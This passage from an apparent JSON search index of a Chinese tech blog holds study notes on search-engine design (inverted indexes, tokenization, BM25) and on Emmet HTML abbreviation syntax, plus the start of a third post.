收集Web上HTML等文件的自动系统。\u003c/li\u003e\u003cli\u003e搜索排序系统: 给作为检索对象的文档打分的系统。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"全文搜素\"\u003e\u003ca href=\"#全文搜素\" class=\"headerlink\" title=\"全文搜素\"\u003e\u003c/a\u003e全文搜素\u003c/h2\u003e\u003cp\u003e全文搜索分为:利用全扫描进行全文搜索,和利用索引进行全文搜索的方法。\u003c/p\u003e\u003cp\u003e第一种方法因为和grep使用的方法一致,也称为grep型搜索。优点是文档不需要事先处理,缺点是文档数量和检索时间成正相关。因此仅适用于少量\u0026#x2F;暂时性的文档。相关算法有KMP和BM等算法。\u003c/p\u003e\u003cp\u003e另一种是利用索引进行全文搜索的方法。事先需要为文档建立索引,然后利用索引搜索字符串。优点是搜索时间不会随文档数增多大幅下降,缺点是需要预先建立索引。\u003c/p\u003e\u003cp\u003e全文搜索的索引结构中,较为常用的结构是倒排索引。\u003c/p\u003e\u003ch3 id=\"倒排索引\"\u003e\u003ca href=\"#倒排索引\" class=\"headerlink\" title=\"倒排索引\"\u003e\u003c/a\u003e倒排索引\u003c/h3\u003e\u003cp\u003e倒排表和书籍后的关键词索引原理一致。将关键词列出在书籍最后,并在每个关键词后面标注它出现的地方,并将这个表按照关键词首字母顺序排序。\u003c/p\u003e\u003cp\u003e它的构建方法大致如下:首先需要一个二维数组,行为所有出现过的单词(需要将这个维度压缩地尽可能小,比如忽略复数形式,忽略大小写等),列是页码。数组单元则是某页出现某单词的记录。\u003c/p\u003e\u003cp\u003e完成后,将行列反转,得到每个单词出现在每一页上的表。这个操作称为倒排,完成后的表格称为倒排表(Postings List),能用于关键字全文检索。\u003c/p\u003e\u003cp\u003e另,所谓的页码实际上是和网页编号对应的。一行记录称为一个倒排项(Posting)。\u003c/p\u003e\u003cp\u003e倒排索引,是单词的集合“词典”和倒排列表的集合“倒排文件”构成的。二者对应关系大致相当于:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e倒排词典 -\u0026gt; 倒排文件\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e-----------------------\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eGoogle -\u0026gt; 2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eI -\u0026gt; 1,2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e... -\u0026gt; ...\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是一个松散的结构,每个单词的倒排文件可以从该单词的元信息获取。\u003c/p\u003e\u003cp\u003e查找的单词有多个时,对各个单词分别执行索引,取结果交集即是查找结果。\u003c/p\u003e\u003cp\u003e单词级倒排文件:在记录文档单词信息之外,额外记录该单词在文档出现的编号。\u003c/p\u003e\u003cp\u003e短语查找:借助单词级倒排文件,可以查找短语级别的内容:在取完交集之后,过滤掉结果中search和engine相对偏移量不为-1的项目。\u003c/p\u003e\u003cp\u003e对于中文等语言而言,搜索引擎的构造方法一样,不同在于语义化分割(Tokenization)中文的连续的句子。\u003c/p\u003e\u003cp\u003e中文的句子单词序列化分割方法常用的有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003e词素解析分割法\u003cul\u003e\u003cli\u003e将句子按照其中的语义,分割为词素(token)单元的方法,但是实现难度极高,近几年一般借助机器学习方法(隐马尔科夫模型\u0026#x2F;条件随机场等方法)处理。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eN-gram分割法\u003cul\u003e\u003cli\u003e将句子分割成由N个字符组成的片段序列的方法,每个片段称作一个N-gram。M字的句子进行N-gram分割方法,能产生\u003ccode\u003eM-N+1\u003c/code\u003e个N-gram。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e二者的优缺点都很明确,前者精准且节省空间,从而检索速度也快,但是可能会发生检索遗漏的问题。后者的优点是结果完整,因此检索速度相对较慢。并且可能会检索到无关词汇,比如检索华山得到九华山。\u003c/p\u003e\u003ch3 id=\"词典的实现\"\u003e\u003ca href=\"#词典的实现\" class=\"headerlink\" title=\"词典的实现\"\u003e\u003c/a\u003e词典的实现\u003c/h3\u003e\u003cp\u003e一般使用哈希表、树等结构,常用的属性结构有二叉查找树BST、字典树Trie,B+树等。\u003c/p\u003e\u003cp\u003e这部分之所以使用超过一种数据结构,一个是因为存储金字塔结构:往往不能一次性将词典完整加载到内存中,另一个是因为块设备的读写单位是块,并且耗时很高,需要针对读写慢但是一次读写量大专门优化的数据结构。\u003c/p\u003e\u003ch2 id=\"检索\"\u003e\u003ca href=\"#检索\" class=\"headerlink\" title=\"检索\"\u003e\u003c/a\u003e检索\u003c/h2\u003e\u003cp\u003e检索模型指代各种检索方法\u0026#x2F;机制。使用逻辑谓词AND\u0026#x2F;OR\u0026#x2F;NOT指导的检索就是\u003cstrong\u003e布尔检索\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e该模型的检索流程:\u003c/p\u003e\u003col\u003e\u003cli\u003e获取所有检索单词的倒排列表\u003c/li\u003e\u003cli\u003e根据布尔检索获取符合条件的文档编号\u003c/li\u003e\u003cli\u003e计算符合条件的文档和查询匹配度\u003c/li\u003e\u003cli\u003e根据匹配度\u0026#x2F;其他排序参数,获取前k个文档\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e因为逻辑比较简单,伪代码就不贴了\u003c/p\u003e\u003ch2 id=\"关联度计算\"\u003e\u003ca href=\"#关联度计算\" class=\"headerlink\" title=\"关联度计算\"\u003e\u003c/a\u003e关联度计算\u003c/h2\u003e\u003cp\u003e策略一般是按照文档与查询的关联度对检索结果进行排序。算法则有:\u003c/p\u003e\u003cul\u003e\u003cli\u003e余弦相似度\u003cul\u003e\u003cli\u003e将文档和查询映射到以单词(token)为维度的向量空间,并计算二者向量的夹角,夹角越小则关联度越高\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eOkapi BM25\u003cul\u003e\u003cli\u003e文档是否匹配查询是由概率决定:根据单词的出现频率计算关联概率。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信息检索是全文搜索的学术领域,这个检索领域目的是找出与信息需求匹配的文档,故可认定匹配的文章不必包含查询,只需要计算整个文档的关联度,将高关联度文档作为作为检索结果即可。\u003c/p\u003e\u003cp\u003e关联度计算是计算密集任务,因此有必要先得到符合检索条件的子集后再计算关联度进行排序。从而,针对不同的检索应用,设计不同的检索模型能提高性能和质量。\u003c/p\u003e\u003ch2 id=\"构建倒排索引\"\u003e\u003ca href=\"#构建倒排索引\" class=\"headerlink\" title=\"构建倒排索引\"\u003e\u003c/a\u003e构建倒排索引\u003c/h2\u003e\u003cp\u003e因为数据的稀疏性质,它适用于使用链表进行存储。当内存用量过大时,可以使用二级链表进行存储。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Emmet学习笔记","time":"2024-04-19T03:42:50Z","content":"用了好久才知道div.class1#id\u003ebutton这种写法是Emmet的语法...\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e大半夜刷到的…老早就想学学这玩意了,奈何不知道名字是啥一直没法搜。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e参考资料:\u003ca href=\"https://docs.emmet.io/abbreviations/syntax/\"\u003eAbbreviations Syntax | Emmet Doc\u003c/a\u003e\u003c/p\u003e\u003cp\u003eAbbreviations are the heart of the Emmet toolkit: these special expressions are parsed in runtime and transformed into structured code block, HTML for example. The abbreviation’s syntax looks like CSS selectors with a few extensions specific to code generation. So every web-developer already knows how to use it. \u003c/p\u003e\u003ch2 id=\"语法\"\u003e\u003ca href=\"#语法\" class=\"headerlink\" title=\"语法\"\u003e\u003c/a\u003e语法\u003c/h2\u003e\u003ch3 id=\"元素\"\u003e\u003ca href=\"#元素\" class=\"headerlink\" title=\"元素\"\u003e\u003c/a\u003e元素\u003c/h3\u003e\u003cp\u003ehtml定义的所有标签均可以直接由标签名称补全:比如\u003ccode\u003ediv\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"子元素\"\u003e\u003ca href=\"#子元素\" class=\"headerlink\" title=\"子元素\"\u003e\u003c/a\u003e子元素\u003c/h3\u003e\u003cp\u003e二元运算符\u003ccode\u003e\u0026gt;\u003c/code\u003e标记标注前一元素的子元素,例如\u003ccode\u003ediv\u0026gt;ul\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;ul\u0026gt;\u0026lt;/ul\u0026gt;\u0026lt;/div\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"同级元素\"\u003e\u003ca href=\"#同级元素\" class=\"headerlink\" title=\"同级元素\"\u003e\u003c/a\u003e同级元素\u003c/h3\u003e\u003cp\u003e二元运算符\u003ccode\u003e+\u003c/code\u003e标识元素的同级元素,例如\u003ccode\u003ediv+p\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;p\u0026gt;\u0026lt;/p\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"返回上一级\"\u003e\u003ca href=\"#返回上一级\" class=\"headerlink\" title=\"返回上一级\"\u003e\u003c/a\u003e返回上一级\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e^\u003c/code\u003e标识指引当前缩进层次往上一级,例如\u003ccode\u003ediv\u0026gt;p^span\u003c/code\u003e-\u0026gt;\u003cdiv\u003e\u003cp\u003e\u003c/p\u003e\u003c/div\u003e\u003cspan\u003e\u003c/span\u003e\u0026#96;\u003c/p\u003e\u003ch3 id=\"数量算符\"\u003e\u003ca href=\"#数量算符\" class=\"headerlink\" title=\"数量算符\"\u003e\u003c/a\u003e数量算符\u003c/h3\u003e\u003cp\u003e二元运算符\u003ccode\u003e*\u003c/code\u003e指示左侧元素数量为右侧整数个,例如\u003ccode\u003ediv*5\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"分组\"\u003e\u003ca href=\"#分组\" class=\"headerlink\" title=\"分组\"\u003e\u003c/a\u003e分组\u003c/h3\u003e\u003cp\u003e可以使用\u003ccode\u003e()\u003c/code\u003e对符号进行分组:\u003ccode\u003ediv\u0026gt;(header\u0026gt;ul\u0026gt;li*2\u0026gt;a)+footer\u0026gt;p\u003c/code\u003e-\u0026gt;\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eheader\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ea\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ea\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eheader\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,括号可以嵌套:\u003ccode\u003e(div\u0026gt;dl\u0026gt;(dt+dd)*3)+footer\u0026gt;p\u003c/code\u003e-\u0026gt;\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edl\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edl\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e理论上你可以用一个缩写来编写一整页,但是实际最好不要这么做。\u003c/p\u003e\u003ch3 id=\"属性选项\"\u003e\u003ca href=\"#属性选项\" class=\"headerlink\" title=\"属性选项\"\u003e\u003c/a\u003e属性选项\u003c/h3\u003e\u003cp\u003e对于标签,可以使用\u003ccode\u003e.\u003c/code\u003e标记添加class,\u003ccode\u003e#\u003c/code\u003e添加id,\u003ccode\u003e[a=\u0026quot;xxx\u0026quot; b=\u0026quot;3\u0026quot;]\u003c/code\u003e添加自定义标签。\u003c/p\u003e\u003ch3 id=\"编号\"\u003e\u003ca href=\"#编号\" class=\"headerlink\" title=\"编号\"\u003e\u003c/a\u003e编号\u003c/h3\u003e\u003cp\u003e使用\u003ccode\u003e*\u003c/code\u003e操作符时,可以在元素名称,属性名称,属性值插入\u003ccode\u003e$\u003c/code\u003e来加入从1开始的序号。连续的\u003ccode\u003e$\u003c/code\u003e出现时,高位默认填0。比如:\u003ccode\u003eul\u0026gt;li.item$*5\u003c/code\u003e-\u0026gt;\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item1\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item2\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item3\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item4\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item5\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另外在\u003ccode\u003e$\u003c/code\u003e操作符后,可以用\u003ccode\u003e@\u003c/code\u003e修改起始值,递增\u0026#x2F;递减。语法为:\u003ccode\u003e$@-3\u003c/code\u003e,\u003ccode\u003e$@-\u003c/code\u003e,\u003ccode\u003e$@3\u003c/code\u003e。得到的结果分别为序号递减到3,序号递减到1,序号从3递增。\u003c/p\u003e\u003ch3 id=\"文本\"\u003e\u003ca href=\"#文本\" class=\"headerlink\" title=\"文本\"\u003e\u003c/a\u003e文本\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003e\u0026#123;\u0026#125;\u003c/code\u003e包裹文本,可以将文本包含在元素标签对中:\u003ccode\u003ea\u0026#123;click me\u0026#125;\u003c/code\u003e\u0026#x3D;\u0026#x3D;\u003ccode\u003ea\u0026gt;\u0026#123;click me\u0026#125;\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;a href=\u0026quot;\u0026quot;\u0026gt;click me\u0026lt;/a\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e但是注意,第一种写法的优先级最高,第二种写法中,\u003ccode\u003e\u0026#123;\u0026#125;\u003c/code\u003e和一般标签等价。\u003c/p\u003e\u003ch3 id=\"终结符\"\u003e\u003ca href=\"#终结符\" class=\"headerlink\" title=\"终结符\"\u003e\u003c/a\u003e终结符\u003c/h3\u003e\u003cp\u003e空格是Emmet的默认终结符,因此,不能用空格提升可读性。此外,Emmet可以在任何位置使用,不一定是空行开头。\u003c/p\u003e\u003ch2 id=\"工具\"\u003e\u003ca href=\"#工具\" class=\"headerlink\" title=\"工具\"\u003e\u003c/a\u003e工具\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003esnippets.json\u003c/code\u003e中包含Emmet的数据,也可以在这里定义自己的别名\u003c/li\u003e\u003cli\u003e部分标签(例如\u003ccode\u003ediv.content\u003c/code\u003e)可省略标签名,Emmet可直接推导出\u003c/li\u003e\u003cli\u003eLorem lpsum生成工具:\u003ccode\u003elorem\u003c/code\u003e可直接扩展为占位文本,也可以使用\u003ccode\u003elorem10\u003c/code\u003e等控制占位文字数量\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"注\"\u003e\u003ca href=\"#注\" class=\"headerlink\" title=\"注\"\u003e\u003c/a\u003e注\u003c/h2\u003e\u003cp\u003eEmmet还有CSS的snippets,不过我用的不多就没去看。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/04/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Emmet%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"开发手记","time":"2024-04-14T07:54:33Z","content":"过去一年,GitHub已经1186次提交了。有点时间,就看看这三年都积淀了点啥吧\u003chr 